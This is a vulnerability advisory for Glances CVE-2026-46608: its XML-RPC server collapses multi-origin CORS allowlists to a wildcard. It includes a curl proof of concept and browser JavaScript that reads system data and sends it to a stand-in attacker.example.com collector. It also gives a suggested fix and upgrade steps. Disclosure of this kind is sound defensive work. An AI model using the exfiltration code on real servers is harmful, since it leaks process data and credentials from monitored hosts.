GHSA-87qc-fj39-wccr CVE-2026-46608 PYSEC-2026-2495
Glances: XML-RPC Multi-Origin CORS Configuration Silently Falls Back to Wildcard (Incomplete Fix for CVE-2026-33533)
- Severity
- 7.4 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.40%
- Chance of exploitation in the next 30 days. Higher than 34.33% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-183 Permissive List of Allowed Inputs
- CWE-942 Permissive Cross-domain Security Policy with Untrusted Domains
- Fix
4.5.5- Upgrade glances to this version or later
Description
Summary
The Glances XML-RPC server (glances -s) introduced a configurable CORS origin list in version 4.5.3 as a mitigation for CVE 2026-33533. However, the implementation silently falls back to Access-Control-Allow-Origin: * whenever cors_origins contains more than one entry. An operator who configures an explicit two-entry allowlist (e.g. two internal dashboard origins) intending to restrict browser access instead receives the unrestricted wildcard — the same exposure that the original CVE described. A malicious web page served from any origin can issue a CORS simple request to /RPC2 and read the full system monitoring dataset without the victim's knowledge.
Details
Affected file: glances/server.py, class GlancesXMLRPCServer, line 113
Direct URL (commit 04579778e733d705898a169e049dc84772c852da):
# server.py (GlancesXMLRPCServer.__init__)
cors_origins = self.args.cors_origins # list from config / CLI
# Line 113 — the incomplete fix:
self.cors_origin = cors_origins[0] if len(cors_origins) == 1 else '*'
# ^^^
# Any allowlist with 2+ entries collapses to the wildcard
The cors_origin value is then echoed back as the Access-Control-Allow-Origin response header for every request (line ~147 in the same file):
self.send_header('Access-Control-Allow-Origin', self.cors_origin)
This means the CORS header is determined once at server startup and never compared against the actual Origin header sent by the browser. Even if an operator sets:
# glances.conf
[outputs]
cors_origins = https://dashboard.corp.example.com,https://grafana.corp.example.com
the server responds with Access-Control-Allow-Origin: * to every request, including those from https://attacker.example.com.
Single-origin wildcard (the default, cors_origins = *) is also still in effect; the fix only helps if exactly one non-wildcard origin is configured.
Confirmed on: x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).
Test results:
| Origin sent | ACAO header returned | Expected |
|---|---|---|
http://evil.example.com |
* |
No header |
https://dashboard.corp |
* |
Reflected |
https://grafana.corp |
* |
Reflected |
PoC
Special configuration required
The multi-origin collapse is only triggered when cors_origins contains two or more entries. Create the following glances.conf:
# /tmp/glances_multiorigin.conf
[global]
check_update = false
[outputs]
cors_origins = https://dashboard.corp.example.com,https://grafana.corp.example.com
Step 1 — Start the XML-RPC server using the config above
glances -s -p 61209 -C /tmp/glances_multiorigin.conf
Step 2 — Send a CORS simple request from a foreign origin
curl -s -D - -X POST "http://TARGET_HOST:61209/RPC2" \
-H "Content-Type: text/plain" \
-H "Origin: http://evil.example.com" \
-d '<?xml version="1.0"?>
<methodCall><methodName>getAllPlugins</methodName></methodCall>'
Expected (secure) response:
HTTP/1.0 400 Bad Request
or no Access-Control-Allow-Origin header.
Actual response:
HTTP/1.0 200 OK
Access-Control-Allow-Origin: *
...
<?xml version='1.0'?>
<methodResponse>
<params><param><value><array><data>
<value><string>cpu</string></value>
<value><string>mem</string></value>
...
</data></array></value></param></params>
</methodResponse>
Step 3 — Demonstrate the code-level collapse to wildcard
import sys
sys.path.insert(0, '/path/to/glances') # adjust to local clone
from glances.config import Config
c = Config('/tmp/glances_multiorigin.conf')
cors_list = c.get_list_value('outputs', 'cors_origins', default=['*'])
# Reproduces server.py line 113:
result = cors_list[0] if len(cors_list) == 1 else '*'
print('cors_origins config :', cors_list)
print('cors_origin applied :', result)
print('Is wildcard? :', result == '*')
# cors_origins config : ['https://dashboard.corp.example.com', 'https://grafana.corp.example.com']
# cors_origin applied : *
# Is wildcard? : True
Browser-based exploitation
Once the wildcard is confirmed, the original CVE-2026-33533 attack vector still applies in full. A malicious page served to a victim whose browser can reach the Glances server can exfiltrate data as follows:
// Runs in a page on http://evil.example.com
const payload = `<?xml version="1.0"?>
<methodCall><methodName>getAll</methodName></methodCall>`;
fetch('http://GLANCES_HOST:61209/RPC2', {
method: 'POST',
headers: { 'Content-Type': 'text/plain' },
body: payload,
})
.then(r => r.text())
.then(data => {
// 'data' contains hostname, OS, full process list, network interfaces, etc.
fetch('https://attacker.example.com/collect?d=' + btoa(data));
});
This works as a CORS "simple request" (POST + text/plain) — no CORS preflight is triggered and the * wildcard allows the browser to read the response.
Impact
Vulnerability type: CORS Misconfiguration / Bypass of CVE-2026-33533 mitigation (CWE-942)
Who is impacted: Any operator who:
- Runs Glances in XML-RPC server mode (
glances -s), and - Has configured two or more
cors_originsentries inglances.confbelieving they are restricting browser access.
Operators using the default single-wildcard configuration (cors_origins = *, which is the upstream default) remain affected by the original CVE-2026-33533 exposure (unrestricted cross-origin read). The incomplete fix addresses only the narrow case of a single non-wildcard origin.
Data exposed through the XML-RPC API includes: hostname, OS and kernel version, full process list with command-line arguments (frequently containing API keys, passwords, and tokens), CPU/memory/disk/network statistics, listening ports, and Docker/Kubernetes container metadata.
Impact:
- Confidentiality: High — complete system monitoring data readable by any browser page.
- Integrity: None — read-only API.
- Availability: None — no denial-of-service component.
Suggested Fix
Implement per-request origin reflection against the configured allowlist, as recommended by the W3C CORS specification and as done by modern CORS middleware (e.g. Starlette's CORSMiddleware):
# server.py — replace the single static self.cors_origin field with:
def _get_acao_header(self, request_origin: str) -> str | None:
"""Return the correct Access-Control-Allow-Origin value or None."""
if not self.cors_origins or '*' in self.cors_origins:
return '*'
if request_origin in self.cors_origins:
return request_origin
return None # do not send the header for unlisted origins
# In do_POST / send_response:
origin = self.headers.get('Origin', '')
acao = self._get_acao_header(origin)
if acao:
self.send_header('Access-Control-Allow-Origin', acao)
self.send_header('Vary', 'Origin')
Additionally, consider retiring the legacy XML-RPC server in favour of the REST API (glances -w), which uses Starlette's CORSMiddleware correctly, and document the deprecation path.
Responsible Disclosure
The AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first.
Credits
This issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members of the AFINE Team.
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| glances | < 4.5.5 |
4.5.5 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
glances PyPI → 4.5.5
- pip
pip install --upgrade "glances>=4.5.5"- poetry
poetry add "glances>=4.5.5"- uv
uv add "glances>=4.5.5"
Severity breakdown
CVSS 3.1 7.4
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- Required
- Scope
- Changed
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Weakness
CWE-183: Permissive List of Allowed Inputs
The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are explicitly allowed by policy because the inputs are assumed to be safe, but the list is too permissive - that is, it allows an input that is unsafe, leading to resultant weaknesses.
CWE-942: Permissive Cross-domain Security Policy with Untrusted Domains
The product uses a web-client protection mechanism such as a Content Security Policy (CSP) or cross-domain policy file, but the policy includes untrusted domains with which the web client is allowed to communicate.
How to prevent it
- Architecture and Design, Operation: Define a restrictive Content Security Policy [REF-1486] or cross-domain policy file.
- Architecture and Design, Operation: Avoid using wildcards in the CSP / cross-domain policy file. Any domain matching the wildcard expression will be implicitly trusted, and can perform two-way interaction with the target server.
- Architecture and Design, Operation: For Flash, modify crossdomain.xml to use meta-policy options such as 'master-only' or 'none' to reduce the possibility of an attacker planting extraneous cross-domain policy files on a server.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-4h34-v6r8-mmjc Glances: as_dict_secure() Value-Level Bypass Leaks Credentials in URL Values via /api/4/config | Medium | Also affects glances |
| GHSA-59fj-m2j6-hcxh Glances: `--disable-config-exec` does not cover on-alert action commands (incomplete fix of CVE-2026-53925) | High | Also affects glances |
| GHSA-73wf-9vmv-5pv9 Glances: Incomplete fix of CVE-2026-32608: action-template sanitizer is bypassed by nested stat values (process 'cmdline') → OS command injection | High | Also affects glances |
| GHSA-fp27-88fp-2phg Glances: REST API CORS Credentials Guard Uses Exact-Match Instead of Membership Test — Bypassed by Any Multi-Origin Allowlist Containing the Wildcard | Medium | Also affects glances |
| GHSA-qcpp-8x79-hhp3 Glances has a command injection bypass of action-template sanitizer via cross-field shell-operator reconstruction | High | Also affects glances |
| GHSA-3vwc-qwhc-3mj7 Glances has arbitrary file write and command execution via `secure_popen` redirection and chaining operators in AMP command configuration | High | Also affects glances |
| GHSA-w856-8p3r-p338 Glances: XML-RPC Server Missing Host Header Validation Enables DNS Rebinding Attack | Medium | Also affects glances |
| GHSA-9837-48hr-q32j Glances has Insecure Pickle Deserialization in its Version Cache that Leads to Arbitrary Code Execution | High | Also affects glances |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor